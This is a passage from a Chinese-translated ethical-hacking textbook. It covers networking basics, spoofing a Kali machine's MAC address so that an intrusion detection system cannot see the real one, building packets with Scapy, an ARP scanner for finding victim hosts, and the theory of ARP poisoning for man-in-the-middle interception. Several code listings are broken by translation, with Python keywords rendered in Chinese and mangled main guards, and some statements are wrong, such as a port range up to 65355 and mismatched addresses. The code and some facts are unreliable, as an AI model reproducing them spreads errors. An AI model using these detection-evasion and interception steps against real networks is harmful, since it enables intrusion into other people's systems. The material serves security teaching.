除了私有 IP 地址,我们还有公有 IP 地址。为了避免每次新设备连接时分配一个新的唯一 IP 地址而导致 IP 地址耗尽的问题,我们使用了一种名为 NAT 协议的技术。在 NAT 协议下,当你从互联网服务提供商(ISP)获得互联网连接时,你只会获得一个公有 IP 地址。这个 IP 地址将与您的路由器/网关关联,并且可以被互联网上的其他网络访问。所以,这个网络中的每个设备都会使用这个公有/网关 IP 地址与网络中的其他设备进行通信。下面的图示说明了这一点:

图 3.10 – 公有 IP 与私有 IP 地址
让我们考虑一下你的家庭局域网(LAN),它包含四个设备——三台 PC 和一个路由器/网关。当你从 ISP 处订阅互联网服务时,你将获得一个公有 IP 地址或广域网(WAN)IP 地址。在前面的例子中,公有 IP 是169.2.4.55,它与您的路由器关联。如果你连接到路由器并上网,然后搜索你的公有 IP 地址,你将看到这个 IP 地址。你也可以在路由器的设置页面找到这个 IP 地址。除了公有 IP 外,网络中的每个节点还会有一个私有 IP 地址。这个地址对局域网外的设备是不可见的。前述例子中的私有 IP 地址是192.168.1.40、60和80。这些设备在网络外部看起来都会有一个169.2.4.55的 IP 地址。
因此,对外部设备来说,这些内部 PC 看起来就像是一个设备。那么,如何知道数据进出网络时该到哪台 PC 呢?这是通过媒体访问控制(MAC)地址来完成的。在内部网络中,设备之间的通信仅通过 MAC 地址进行。MAC 地址将在MAC 地址部分进行解释。
公有 IP 与私有 IP 地址
公有 IP 与私有 IP 地址的主要区别如下:

表格 3.2 – 公有 IP 与私有 IP 地址的区别
到目前为止,我们看到的 IP 地址是 IPv4 地址,它们非常普及。然而,还有其他类型的地址。让我们来了解一下。
IPv4 与 IPv6
到目前为止,我们学习的 IP 地址是 IPv4 地址。还有一种称为 IPv6 的 IP 地址。这些是 128 位地址,旨在用于未来的计算机系统。然而,由于 NAT 协议的使用,IPv6 的普及速度较慢。目前,只有 40%的互联网支持 IPv6 地址。
MAC 地址
MAC 地址也叫硬件地址,通常与 NIC 卡相关联。每个 NIC 都有自己的 MAC 地址。MAC 地址是由制造商分配的一个物理地址,每个制造商会被分配一个数字池,用来制造产品。MAC 地址是一个 48 位的数字:

图 3.11 – MAC 地址字节
接下来,我们来讨论端口。
端口
虽然 MAC 地址唯一标识一个网络接口卡(NIC),它被数据用来识别数据应该传送到哪个设备,但端口标识了 PC 上正在运行的唯一服务。它作为通信的逻辑终点。每个设备都有多个应用程序通过网络发送或接收数据。例如,你可能在浏览网页,同时后台有一个下载任务在运行,另一个服务正在向服务器上传数据。当数据到达你的 PC 时,它会通过端口区分数据属于哪个进程。系统上共有 65,535 个端口,其中前 1,024 个是保留端口,不建议使用这些端口。
保护
到目前为止,在本章中我们已经学习了计算机网络的基础知识,这些是理解本书其余部分的关键。现在,我们将开始查看可以用来追踪我们的参数,以及如何保护自己。在上一章中,我们了解了道德黑客的第一步是信息收集。但在开始收集信息之前,我们必须确保我们的身份得到保护。否则,我们很容易被追踪到。你的身份可以通过多个参数被追踪回来。最常见的是你的 IP 地址和 MAC 地址。
为了隐藏你的公网 IP 地址,你可以使用虚拟私人网络(VPN)。我们将不会讨论 VPN,因为它不在本书的范围内。这里有一个重要的事项需要注意,那就是你不应完全信任你的 VPN 提供商。从安全角度来看,使用 VPN 仅仅意味着你将信任从你的互联网服务提供商(ISP)转移到提供 VPN 服务的另一家公司。你应该非常小心选择 VPN,特别是在网络安全的角度,应该谨慎使用免费 VPN,因为许多免费 VPN 会捆绑恶意软件,或者使用你的计算机资源进行其他目的,比如比特币挖矿。有些 VPN 会泄露你的域名服务器(DNS),这是一个用于将网站名称映射到 IP 地址的服务器,尽管它们可能声称能隐藏你的身份。
然而,当我们扫描本地网络时,我们可能会被 MAC 地址追踪。在第二章,入门 – 设置实验环境中,我们安装了两台虚拟机:Kali 和 Windows 10。Kali 机器将作为我们的攻击机器。我们的机器有一块网卡,用于与其他设备通信。这块网卡有一个 MAC 地址。在更改我们的 MAC 地址部分中,我们将尝试伪造一个 MAC 地址,以便在扫描时更改它。这样,即使入侵检测系统(IDS)发现我们正在扫描某台 PC 的端口,也无法发现我们的真实 MAC 地址。
更改我们的 MAC 地址
在这一部分,我们将尝试在 Kali 机器上更改我们的 MAC 地址。首先启动我们的 Kali 机器并打开一个终端。要更改 MAC 地址,你需要安装net-tools工具包。在大多数 Linux 发行版中,这个工具已经可用。不过,如果没有安装,你可以使用以下命令进行安装:
sudo apt-get update -y
sudo apt-get install -y net-tools
它会提示你输入密码,密码是kali。一旦工具安装完成,你可以使用以下命令查看 MAC 地址:
sudo ifconfig
如果一切顺利,你将看到类似如下的输出:

图 3.12 – ifconfig 命令输出
这里有很多内容需要解释,我们来逐一拆解。这里有两个值,分别是eth0和lo。eth0是网卡的名称,而lo是回环适配器。现在,我们可以忽略回环适配器。inet字段代表 Kali 机器的私有 IP 地址,inet6是 Kali 机器的 IPv6 地址,ether是 MAC 地址,这也是我们想要更改的字段。
如果你想要更改 MAC 地址,不能在网卡开启的情况下进行。首先,你必须关闭网络接口。要关闭接口,你可以使用以下命令:
sudo ifconfig eth0 down
这个命令将关闭名为eth0的网卡。如果在命令输出中没有看到错误信息,这意味着命令执行成功。
现在,如果你再次输入ifconfig命令,你将看到以下输出:

图 3.13 – 关闭网络接口卡
现在,你只会看到回环适配器,并且eth0已经被关闭。要更改 MAC 地址,你可以运行以下命令。假设你想要新的 MAC 地址是00:11:22:33:44:55。你可以这样做:
sudo ifconfig eth0 hw ether 00:11:22:33:44:55
这个命令更改eth0接口和该网卡的ether参数:

图 3.14 – 更改 MAC 地址
现在,如果没有错误,这意味着命令已成功运行。在此时,我们可以通过运行以下命令再次启用接口:
sudo ifconfig eth0 up
现在,让我们再次运行 ifconfig 命令,看看我们的更改是否生效:

图 3.15 – 已更改的 MAC 地址
在这里,你可以看到 MAC 地址已成功更改。现在,如果我们想在网络中扫描某些内容,这个 MAC 地址将会显示出来,而不是我们的真实 MAC 地址。
创建 Python 脚本
到目前为止,我们已经编写了手动命令来更改我们的 MAC 地址。理想情况下,我们希望编写一个 Python 脚本来帮助我们更改它。为此,我们需要找到一种方法,通过 Python 运行 bash 命令。幸运的是,Python 有一个标准库,用于运行系统命令,叫做 subprocess。这个库允许你与底层操作系统进行交互。
要将这个库导入到你的模块中,你只需写下以下命令:
import subprocess
要运行命令,subprocess 有一个叫做 run 的方法。使用这个方法,你可以在操作系统上执行系统命令。如果你想查看 eth0 的信息,可以运行以下命令:
subprocess.run(
["ifconfig", "eth0"],
shell=True,
)
这个函数需要一个命令列表。另一个参数 shell=true 表示我们希望将输出打印到控制台。
如果你运行前面的文件,你将看到类似运行 ifconfig eth0 命令的输出。请注意,你需要是 root 用户才能运行此命令,因此它应该像这样:
sudo python3 main.py
这是输出结果:

图 3.16 – 使用 Python 运行系统命令
现在你已经知道如何使用 Python 运行系统命令,你可以使用 Python 重复前面的命令。完整的代码如下:
import subprocess
if name == "main":
interface = "eth0"
new_mac = "22:11:22:33:44:57"
print("正在关闭接口")
subprocess.run(["ifconfig", "eth0", "down"])
print("正在更改接口硬件地址为 ", interface, " 到 ", new_mac)
subprocess.run(["ifconfig", interface, "hw", "ether", new_mac])
print("MAC 地址已更改为 ", new_mac)
subprocess.run(["ifconfig", interface, "up"])
print("网络接口已启用")
如果你再次检查接口,你将能够看到新的 MAC 地址:

图 3.17 – 新的 MAC 地址
现在我们已经学会了如何在系统上运行命令,以及如何使用 Python 更改系统的 MAC 地址,我们将在这里停止讨论。在下一章,我们将探讨信息收集。
总结
在这一章中,我们学习了关于网络基础知识以及如何通过欺骗我们的 MAC 地址来保护自己在本地网络上进行扫描。这一章帮助我们更深入地了解计算机系统的网络方面,以及如何使用 Python 在本地网络中保护和掩盖我们的身份。在下一章中,我们将学习关于扫描本地网络的内容。
第四章:网络扫描
本章介绍了道德黑客的第一阶段:信息收集与侦察。信息收集是道德黑客中最重要的方面之一。如果没有适当获取所需的信息,进行成功攻击几乎是不可能的。我们将学习什么是网络扫描以及如何利用它在网络中实施攻击。我们将通过以下主题:
-
网络概述
-
TCP/IP 中的数据封装
-
Scapy 简介
-
ARP 简介
-
基于 ARP 的 Scapy 网络扫描器
网络概述
在第三章《侦察与信息收集》中,我们从一个非常宏观的角度学习了网络的基础知识。我们了解了网络中存在的不同组件和设备,以及每个组件的作用。在本节中,我们将更深入了解通过网络传输的实际数据包和信息。
数字系统中的数据表示
让我们首先了解一下计算机系统是如何通过网络传输数据的。计算机系统中的每一部分数据都是由二进制逻辑电平定义的。这些电平被定义为低或高。计算机系统中存储的每一张图像、文件、视频、语音录音或其他任何东西,都是通过这些逻辑电平来表示的。在物理硬件中,这些电平会映射到电压电平或开关状态。例如,在数字系统中,5 伏的电压可能代表高逻辑电平,而 0 伏的电压则代表低逻辑电平。你可能会想知道这些不同类型的数据是如何通过逻辑电平来表示的。让我们来看一下是如何工作的。假设你想把信息Hello发送给一个朋友。为了简单起见,我们假设你的朋友就在同一个网络中。现在,我们假设底层的通信工作正常。为了发送这个Hello消息,我们需要将其转换为计算机能够理解的形式。我们刚刚了解到计算机只理解低和高逻辑电平,因此我们必须将我们的消息编码为这些逻辑电平。现在,如我们所见,Hello包含五个字母,而我们只有两个逻辑电平,所以仅凭两个电平的实例是不可能编码完整的消息的。这个实例被称为位(bit)。为了实现这种编码,开发了一个名为美国信息交换标准代码(ASCII)的系统。使用这个编码方案,我们可以轻松地表示英文字母以及一些其他符号和字母。英语字母的每个字母都由 8 位的二进制序列表示,称为字节。为了表示我们Hello消息中的字母H,我们可以将其编码为以下的二进制序列:H在 ASCII 格式中是01001000。这个值在 ASCII 代码表中是预定义的;类似地,其他字符也以相同的格式定义:
-
H** = **01001000 -
e** = **01000101 -
l** = **01101100 -
l** = **01101100 -
o** = **01101111
现在,我们有了一串可以通过任何数字系统发送的数据流。请注意,这是数据表示的一个非常简化的解释。实际系统还使用其他编码方式,如 Unicode 和字节表示法,来发送复杂的数据。
数据封装
现在我们了解了数据表示,让我们把注意力重新集中在我们最初的话题上:如何发送这些数据。我们已经了解了 TCP/IP 协议栈中的不同层以及它们如何用来发送数据。在前面的部分中,我们提到我们想要将Hello消息发送给本地网络中的某个人。我们将这条消息称为我们的数据:

图 4.1 – 数据表示
现在,为了使数据包成功到达另一台计算机,它必须知道其准确的目标,就像邮政投递系统一样。你有国家、城市、邮政编码、街道和门牌号。在数字系统中,你有 IP 地址、MAC 地址以及源端口和目标端口。假设你在浏览器应用中写下你的消息,你的朋友也在浏览器中等待你的消息。为了将消息准确无误地发送到目标计算机中的同一个进程,IP 协议会在你的消息中添加一个新的头部。
从最顶层开始,应用层头部被添加。同样,应用层下方的每一层也会添加自己的头部。整体过程如图 4.2所示。图 4.2展示了数据在通过网络发送之前如何在 TCP/IP 栈中被封装。我们将了解这些段包含了什么内容,以及这些内容如何帮助数据包到达目的地:

图 4.2 – 数据封装
我们将在接下来的章节中详细讲解这些段。
数据包传递过程
数据包的传递过程取决于目标设备是否位于同一局域网内。如果设备位于同一子网内,我们可以直接使用以太网地址发送数据。这些头部包含了很多信息,对于本书的内容,你无需关心大部分内容,我将只解释与本书相关的字段。
TCP 头部
TCP 头部包含下图所示的字段:

图 4.3 – TCP 头部
在这个头部中,我们只关心源端口和目标端口。源端口与本地计算机中与要发送的信息相关的进程有关。目标端口是数据包应发送到的位置。源端口通常由发送方随机生成,而接收端口则由消息定义。例如,当你请求一个 HTTPS 网站时,你的 PC 会生成请求数据包,并将目标端口号设置为443。某些服务有固定的端口号。例如,FTP使用端口21,HTTP使用端口80。在我们的例子中,如果我们将Hello消息发送给一个在 HTTPS 上工作的浏览器应用程序,发送数据包中的源端口字段将随机选择(你也可以手动设置;例如,SSH 的默认端口是22,但如果我们将 SSH 配置为使用其他端口,而22可用,它就可以作为数据包中的源端口),目标端口则是443。请注意,某些端口是保留的,正如前面所见,你的 PC 会分配一个10000到65355之间的源端口号。一旦 TCP 头部被添加到数据中,它就被称为TCP 段。
IP 头部
接下来,添加一个 IP 头部,如图 4.4所示:

图 4.4 – IP 头部
在这里,我们关心的字段是源 IP 和目标 IP。它定义了数据包的去向和来源。添加 IP 头部后,它就被称为IP 数据报。
以太网头部
以太网头部帮助数据在本地网络中进行导航。这里最重要的字段是源 MAC 地址和目标 MAC 地址。顾名思义,源 MAC 地址是你的 MAC 地址,目标 MAC 地址是本地网络中接收者的 MAC 地址:

图 4.5 – 以太网头部
一旦添加了以太网头部,它就被称为以太网帧。我们已经了解了在网络上传输的数据包中最重要的字段。我们也了解了数据如何被封装,以及它使用哪些字段来在网络中路由数据。在下一部分,我们将学习如何利用我们刚刚学到的信息创建网络扫描器。
Scapy 简介
为了创建一个网络扫描器,我们将使用一个名为 Scapy 的 Python 网络库。这个库旨在发送、嗅探、解析和编辑网络数据包。Scapy 是一个非常强大的网络数据包操作工具。要了解更多关于该工具的信息,可以访问以下链接:scapy.readthedocs.io/en/latest/introduction.html。
安装 Scapy
要安装 Scapy,首先打开终端。让我们先了解一些基本概念。在 Linux 中,有两种用户权限,普通用户和 root 用户,它们的环境是不同的。系统级命令需要更高的权限。为了发送和接收数据包,我们需要以 root 用户以及普通用户的身份安装 Scapy。我们将作为普通用户编写程序,运行时会以 root 身份运行,因为在 Linux 中发送数据包需要更高的权限(你可以把它想象成 Windows 中的以管理员身份运行)。稍后你会明白我的意思。要以 root 用户安装 Scapy,请输入以下命令:
sudo pip3 install scapy
这将以管理员权限安装 Scapy。完成后,打开你的 Visual Studio Code 并为新项目创建一个文件夹。我们将这个文件夹命名为example2-introduction-scapy。
请注意,如果你遇到一些问题,你需要通过以下命令更新系统的 Python:
sudo apt-get update && sudo apt-get upgrade && sudo apt-get install python3-virtualenv -y
现在,我们将为这个特定项目创建一个新的虚拟环境。要创建新的虚拟环境,请导航到刚刚创建的文件夹目录,并输入以下命令:
python3 -m venv venv
现在,如果一切顺利,你将看到一个名为venv的文件夹被创建。
接下来,通过运行以下命令激活虚拟环境:
source venv/bin/activate
现在,你的虚拟环境应该已被激活。一旦激活,你可以通过输入以下命令查看环境中已安装的软件包:
pip freeze
如果你的环境中已经安装了任何软件包,它们会被列出来;否则,你将看不到任何内容。现在,为了安装 Scapy,输入以下命令:
pip3 install scapy
安装过程可能需要一些时间。完成后,你可以再次输入 pip freeze 命令查看已安装的软件包:

](image/B14788_04_06.jpg)
图 4.6 – 虚拟环境中的已安装软件包
在本节中,我们学习了如何在虚拟环境中安装 Scapy,以及如何查看它是否安装正确。请注意,Scapy 的一些功能需要以更高的权限运行程序,否则它们将无法正常工作。在下一节中,我们将进一步了解 Scapy 的使用方法,以及如何利用 Scapy 操作网络数据包。
了解 Scapy 的工作原理
在这一部分,我们将了解 Scapy 是如何工作的,以及如何利用它创建自己的网络操作工具。让我们创建一个名为 main.py 的新文件并打开它。一旦文件打开,我们就可以在文件中导入任何 Scapy 模块。在本节中,我们将创建一个简单的 ping 请求,发送到任何网站。Ping 请求通常用于测试设备是否可用。Ping 请求(也叫做 回声请求)使用的是底层的 ICMP 应用层协议。要在程序中导入一个包,请写下以下代码:
from scapy.all import scapy
重要提示
请注意,在 Kali Linux 的最新版本中,一些依赖项已被更改,可能会出现与缺少文件相关的错误。为了解决这个问题,你可以输入以下命令:
cd /usr/lib/x86_64-linux-gnu/sudo ln -s -f libc.a liblibc.a
要发送一个 ping 请求,你需要创建一个 IP 层数据包,这将帮助你设置源 IP 和目的地 IP 地址。要导入 IP 层,我们可以写下以下命令:
from scapy.all import IP
最后,为了发送和接收数据包,我们可以使用一个名为 sr 的函数。要导入这个函数,使用以下命令:
from scapy.all import sr
这个 IP 地址会根据你的系统不同而有所不同。你可以使用 sudo ifconfig 命令找到这个 IP 地址。
然后,我们将定义源 IP 和目的地 IP:
src_ip = "192.168.74.128"
然后,我们将定义目的地 IP。我们希望创建一个针对 google.com 服务器的 ping 请求。你可以手动输入该服务器的 IP 地址,通过在终端输入 ping www.google.com 找到,或者你可以直接使用 www.google.com。
Scapy 会自动转换这个地址:
dest_ip = "www.google.com"
现在,我们将创建一个ip_layer数据包,并打印它,看看它包含了什么:
from scapy.all import ICMP
from scapy.all import IP
from scapy.all import sr
如果 name == "main":
src_ip = "192.168.74.128"
dest_ip = "www.google.com"
ip_layer = IP(
src = src_ip,
dst = dest_ip
)
print(ip_layer.show())
这将创建一个 IP 层数据包,并显示已创建数据包的内容。注意数据包还没有被发送。
该程序的输出如下所示:

图 4.7 – IP 层数据包创建
看看src和dst字段。目标是Net的实例,这意味着 Scapy 将负责将其转换为实际的 IP 地址。现在,如果你检查这里显示的字段并将它们与图 4.4进行比较,你会看到这些字段是相同的。
接下来,要发送一个 ICMP 请求,你可以像这样调用类来创建一个实例:
icmp_req = ICMP(id=100)
id=100帮助协议跟踪数据包。要查看此请求中包含哪些字段,你可以输入以下命令:
print(icmp_req.show())
结果将类似于以下内容:

图 4.8 – ICMP 数据包内容
从这里,你可以看到数据包类型是回显请求,用于测试连接的可用性。
根据我们之前的讨论,我们知道应用层位于 IP 层之上,到目前为止我们已经创建了两个层。现在,下一步是将这两个层合并成一个可以通过网络发送的数据包。为此,我们可以编写以下代码:
packet = ip_layer / icmp_req
print(packet.show())
这将列出合并后的数据包。注意/运算符。此运算符用于在 Scapy 中合并不同的层。你从底层开始,并通过这个/运算符不断添加新的层。print结果将显示将先前的层合并为一个的数据包结果:

图 4.9 – 合并层
现在,我们的请求已经准备好发送了。为了发送它,我们可以使用我们已经导入的sr1方法:
response = sr1(packet, iface="eth0")
如果有响应:
print(response.show())
响应将类似于以下内容:

图 4.10 – ICMP 回复
你可以看到响应类型是echo-reply,回复中的src字段是回复此 ping 请求的服务器的 IP 地址。
现在,你已经学会了如何使用 Python 构建和发送数据包。理论上,你可以使用 Scapy 创建任何网络应用程序。
之前提到的完整代码来发送数据包如下所示:
from scapy.all import ICMP
from scapy.all import IP
from scapy.all import sr,
如果 name == "main":
src_ip = "192.168.74.128"
dest_ip = "www.google.com"
ip_layer = IP(src = src_ip, dst = dest_ip)
icmp_req = ICMP(id=100)
packet = ip_layer / icmp_req
response = sr(packet, iface="eth0")
// 若要查看可用接口,请在终端中输入 ifconfig 命令
// terminal
if response:
print(response.show())
Scapy 的一个优点是它允许你创建原始数据包,这意味着即使是包含错误信息(格式不正确的数据包)也可以创建,并且没有机制来检查数据包的值是否正确。你可以从你的计算机更改src ip字段,并将其他数据包的值放入其中,在某些情况下,目标将无法知道哪个计算机实际上生成了这些数据包(空闲扫描)。这样,你就可以进行伪造数据包。
到目前为止,我们已经了解了 IP 协议栈和头字段。我们还学习了如何安装 Scapy 并使用它创建可以通过网络发送的原始数据包。现在,让我们看一下更多有助于我们深入理解 Scapy 工作原理的有用函数。
如果你想查看 Scapy 中某一层的更多细节以及该层可以修改的选项,你可以使用 Scapy 中的ls函数。要导入此函数,你可以使用以下命令:
from scapy.all import ls, IP
要获取关于ip_layer的信息,我们可以像这样打印ls:
dest_ip = "www.google.com"
ip_layer = IP(dst = dest_ip)
print(ls(ip_layer))
在下一张截图中,你将看到之前提到的代码的执行。截图显示了 IP 数据包中的字段列表:

图 4.11 – ls 函数
如果你想访问某一层的单独字段,你可以直接使用点号(.)操作符。例如,如果你想打印ip_layer中的dst字段,你可以写如下代码:
ip_layer = IP(dst = dest_ip)
print("Destination = ", ip_layer.dst)
结果如下:

图 4.12 – 访问单独字段
如果你想查看该层的快速概述,可以在该层上调用summary方法:
print("Summary = ", ip_layer.summary())
概述结果如下:

图 4.13 – 层概述
到目前为止,我们已经熟悉了 Scapy 及其工作原理。我们学习了如何创建基本的包以及如何操作这些包。在下一节中,我们将探讨如何使用 Scapy 进行信息收集。
使用 Scapy 创建网络扫描器
在本节中,我们将创建一个简单的扫描器,扫描本地网络中的主机,并找到它们的 MAC 地址。为了创建这个扫描器,我们需要首先了解什么是地址解析协议(ARP),以及如何利用它来创建网络扫描器。
地址解析协议
ARP 在最简单的形式下是一个翻译工具,帮助我们将 IP 地址转换为 MAC 地址。每当一个设备需要与同一本地网络中的其他设备进行通信时,它需要该设备的 MAC 地址。IP 地址不用于本地通信。
假设设备 A 想要与本地网络中的设备 B 进行通信。为了找到设备 B 的 MAC 地址,计算机 A 会首先查看它内部维护的一个列表,称为 ARP 缓存,查看计算机 B 的 IP 地址是否已映射到物理 MAC 地址。如果已经映射,这个列表就被称为 ARP 表。你可以通过输入 arp -a 命令查看你电脑的 ARP 表。
这是在 Kali Linux 上运行 arp -a 命令的结果:

图 4.14 – ARP 表
你可以看到,它列出了与这些 IP 地址相关的 MAC 地址。你也可以在 Windows 中使用相同的命令。
如果请求的设备的对应 MAC 地址在本地没有找到,设备 A 会向整个网络发送广播请求,询问哪个设备拥有对应的 IP 地址。在我们的例子中,这将是设备 B。非设备 B 的设备会忽略此请求,而设备 B 会回复设备 B 的相应 MAC 地址。这样,设备 A 就能得知设备 B 的 MAC 地址。两个设备互相认识后,它们之间的通信可以继续。设备 A 一旦获得设备 B 的 MAC 地址,它就会更新其 ARP 表。图 4.15 展示了源设备如何生成 ARP 请求以及目标设备如何用正确的 MAC 地址进行回复:

图 4.15 – ARP 请求
现在我们理解了 ARP 的工作原理,我们可以开始使用 Scapy 创建我们自己的 ARP 扫描器,以找出这些设备的 MAC 地址。你可能会想,为什么我们需要一个 ARP 扫描器呢?嗯,知道设备的 MAC 地址可以帮助我们进行 中间人攻击,我们将在 第五章 中进行 中间人攻击。
使用 Scapy 的 ARP 扫描器
ARP 协议工作在以太网层,因此在使用 Scapy 时,我们需要导入以太网层。让我们导入我们将使用的层和功能:
from scapy.all import Ether, ARP, srp
如果一个 MAC 地址的所有位都设置为 1,那么这意味着该数据包是广播包,应该发送到网络中的每个设备。Scapy 使用十六进制表示法,因此我们将创建以下变量来表示广播地址:
广播 = "FF:FF:FF:FF:FF:FF"
然后,我们可以创建一个以太网层的数据包,并将目的地设置为 广播。
我们还需要定义我们想要扫描的 IP 范围。在我的例子中,我想扫描我的本地网络:
ip_range = "192.168.74.1/24"
这表示我们想要扫描所有从 IP 地址 192.168.74.1 到 192.168.74.255 的设备。最后 8 位被称为子网掩码,表示我们要扫描的主机数量。记住,IP 地址是 32 位的,我们这里说我们想要屏蔽 24 位,因此剩下的 32-24 = 8 位是可寻址的,这意味着我们只扫描网络中的最后 256 个主机。
现在,要创建一个 ARP 层包,使用以下命令:
ip_range = "192.168.74.1/24"
arp_layer = ARP(pdst = ip_range)
现在我们已经创建了两个层,Ether 和 ARP。接下来,我们将创建一个包含这两个层的包:
packet = ether_layer / arp_layer
接下来,我们将以广播的方式发送这个包。为此,我们可以使用以下的 srp 函数:
ans, unans = srp(packet, iface = "eth0", timeout=2)
packet 是我们想要发送的包,iface 是我们希望用来发送该包的网络接口卡,timeout 用来确保如果 2 秒内没有收到回复,则表示该设备很可能处于离线状态。
srp 返回已经回答和未回答的包。我们只关心在线设备返回的已回答包。现在,为了获取在线设备的 IP 地址和 MAC 地址,我们可以写出以下代码。我们可以遍历返回结果,查看 IP 和对应的 MAC 地址:
for snd, rcv in ans:
ip = rcv[ARP].psrc
mac = rcv[Ether].src
print("IP = ", ip, " MAC = ", mac)
rcv 代表发送者已接收到的包。为了获取 IP 地址,我们可以使用 ARP 层,而为了获取 MAC 地址,我们可以使用 Ether 层。记住,包中设置的字段对应各自的层。
完整代码如下所示:
from scapy.all import Ether, ARP, srp
if name == "main":
broadcast = "FF:FF:FF:FF:FF:FF"
ether_layer = Ether(dst = broadcast)
ip_range = "192.168.74.1/24"
arp_layer = ARP(pdst = ip_range)
packet = ether_layer / arp_layer
ans, unans = srp(packet, iface = "eth0", timeout=2)
for snd, rcv in ans:
ip = rcv[ARP].psrc
mac = rcv[Ether].src
print("IP = ", ip, " MAC = ", mac)
程序的输出如下所示:

图 4.16 – ARP 扫描结果
现在你可以看到网络中所有设备的 MAC 和 IP 地址。第三个设备,IP = 192.168.72.129 是我的 Windows 机器,我将在后面的章节中将其作为受害者/目标机器。为了验证我们程序中得到的结果是否正确,我们可以手动从网络连接设置中检查这些字段:

图 4.17 – 受害者的 IP 配置
在这里,你可以看到我们扫描得到的结果与这些值相匹配。再看看 MAC 地址。其他设备也可以看到。
192.168.74.254 代表 DHCP 服务器。DHCP 服务器在设备配置为自动分配 IP 时,会向网络中的设备分配 IP 地址。192.168.72.2 代表网络中的默认网关。
总结
在本章中,我们学习了数据是如何通过网络从一个设备传输到另一个设备的。我们了解了数据是如何在 TCP/IP 协议中封装的,以及每个报文头中添加了哪些字段。接下来,我们学习了一个非常重要的网络操作和数据包构造工具——Scapy。我们还学习了如何使用 Scapy 构造数据包,以及如何将这些数据包发送到网络中。然后,我们学习了 ARP 协议,最后,我们创建了一个 ARP 扫描器,用于获取网络中在线设备的 IP 地址和 MAC 地址。在下一章中,我们将学习如何使用这个扫描器创建一个中间人攻击,以拦截来自受害者机器的网络流量。
第五章:中间人攻击
在前一章中,我们学习了网络扫描。网络扫描是信息收集的一部分,允许用户在本地网络中找到主机。在本章中,我们将学习如何利用这些信息对本地网络上的受害者发动攻击。本章将涵盖以下主题:
-
为什么我们需要 ARP?
-
构建 ARP 欺骗程序
-
监控流量
-
加密流量
-
手动恢复 ARP 表
-
解密网络流量
为什么我们需要 ARP?
在前几章中,我们提到了地址解析协议是什么。在本章中,我们将更深入地研究它。在本地网络中,设备之间的通信使用 MAC 地址而不是 IP 地址进行。这些也被称为 链路层地址。ARP 是一种请求响应协议,这意味着一个设备请求服务,另一个设备回复响应该请求。假设一个网络中有两台设备,没有外部互联网连接。为了彼此通信,它们需要依赖一个底层协议,即第 2 层协议。我们已经简要了解了 ARP 表。通过使用 ARP 表,设备可以通过映射它们的 IP 和 MAC 地址来维护网络上所有活动设备的列表。这种 ARP 表技术相当古老,设计时没有考虑安全性。它具有一些固有的弱点,我们将在后面的章节中看到如何利用这些弱点。
ARP 毒化
在我们学习 ARP 毒化之前,让我们再次看一下 ARP。ARP 基本上是安装在您的 PC 上的程序,它自动执行与 ARP 相关的所有任务,无需用户输入。为了从另一台机器获取地址,它将 FF:FF:FF:FF:FF:FF 作为广播地址放入其请求中。它通过将问题发送到网络中的所有活动设备来执行此操作。随后,预期的设备将回复适当的答案。让我们看看以下图表,了解 ARP 请求和响应是如何生成的:

图 5.1 – ARP 请求和响应
设备 A 发送请求,设备 B 回复答案,并附带其 MAC 地址。看起来相当简单,对吧?实际上,这个协议存在设计缺陷。当设备 B 收到请求时,它无法知道请求设备提供的信息是否正确。通过这种方式,您可以轻松地 欺骗 数据包。稍后我们会详细讨论这个问题。
让我们考虑一个简单的场景:

图 5.2 – 互联网通信
假设设备A想要与一个基于互联网的设备通信。正如我们已经知道的,它不能直接连接到互联网——它必须通过一个网关。该设备的对应 IP 和 MAC 地址显示在下图中。设备A和网关各自维护自己的 ARP 表。为了让设备A向外部服务器发送请求,它将查看自己的 ARP 表,找到网关设备的 MAC 地址。一旦成功找到该设备的 MAC 地址,它将把请求发送到网关。这在前面的图示中由步骤 1表示。如果局域网中只有一个设备,设备A的 ARP 表大致如下所示:

图 5.3 – 设备 A 中的 ARP 表
现在,由于网关是本地网络和互联网之间的桥梁,它会为数据包确定外部 IP 地址。然后,使用它自己的外部或公共 IP 地址,它将把请求转发给位于 77.88.99.11 的服务器。这是步骤 2。服务器将处理该请求并在步骤 3中回复路由器。路由器将接收到该回复,并确定外部数据包应该发送到哪里。它是如何确定数据包该去哪儿的呢?正如你可能猜到的,它将查看目标地址和目标端口。通过查看自己的 ARP 表,它将查找相应设备的位置。路由器中的 ARP 表大致如下所示:

图 5.4 – 路由器中的 ARP 表
在步骤 4中,路由器将简单地将回复转发给预定的接收方。
到目前为止,我们已经了解了正常的请求响应是如何工作的。现在,我们将加入一个额外的角色——黑客/渗透测试员。
ARP 的工作方式如下。正如我们所知道的,设备不断地连接和断开网络,因此 ARP 程序不会无限期地保持 ARP 表。另一个原因是动态主机配置协议(DHCP)服务器会自动为网络中的设备分配 IP 地址。因此,当设备离线时,IP 地址会再次变得可用,以便可以分配给新连接的设备。由于这个原因,网络中的设备会定期向其他设备发送ARP 响应,以便让它们知道自己当前的 IP 和 MAC 地址。这确保了所有设备都拥有最新的 IP 和 MAC 地址记录。现在,当一个设备收到ARP 响应时,它会直接更新自己的 ARP 表,而不会进行任何身份验证或验证。你能看到问题所在吗?如果一个设备创建了一个包含伪造信息的 ARP 响应并将其发送到受害者/目标机器,那么接收设备会用伪造的信息更新其 ARP 表,而不会验证数据的正确性。ARP 协议的另一个弱点是,它允许我们接收响应,即使它没有发送请求。
让我们来看看当我们将一个恶意攻击者添加到网络中时会发生什么:

图 5.5 – 攻击者已添加到网络中
在这里,属于黑客的设备B将生成两个伪造的ARP 响应——一个针对受害者,一个针对网关路由器。它会向设备A发送一个ARP回复,并伪装成路由器。同样,它还会向路由器发送一个回复,并伪装成设备A。现在,设备A和路由器都会用这些新的伪造信息更新它们的 ARP 表。现在,如果设备A像前一个案例一样向外部服务器发起请求,请求不会发送到路由器,而是会发送到攻击者。然后,攻击者可以选择将请求转发给路由器。此时,路由器会认为请求来自设备A,而实际上请求来自设备B。事实上,设备B正在拦截路由器和设备A之间的所有网络流量。还记得我们之前学过的 CIA 三元组吗?你能推测出这里违反了哪条规则吗?根据黑客打算如何利用这里的信息,所有三条规则都可能被破坏。现在,黑客实际上成了路由器和设备A之间的中间人。这就是所谓的中间人攻击(MITM)。这个漏洞非常著名,称为 ARP 中毒。
重要提示
ARP 表会在一段时间后被重置,所以仅仅发送一个数据包进行欺骗并不能正常工作。为了能够成功地进行长时间的欺骗,你需要不断地发送这些伪造的数据包,以防 ARP 表在一定时间后被重置。
构建 ARP 欺骗程序
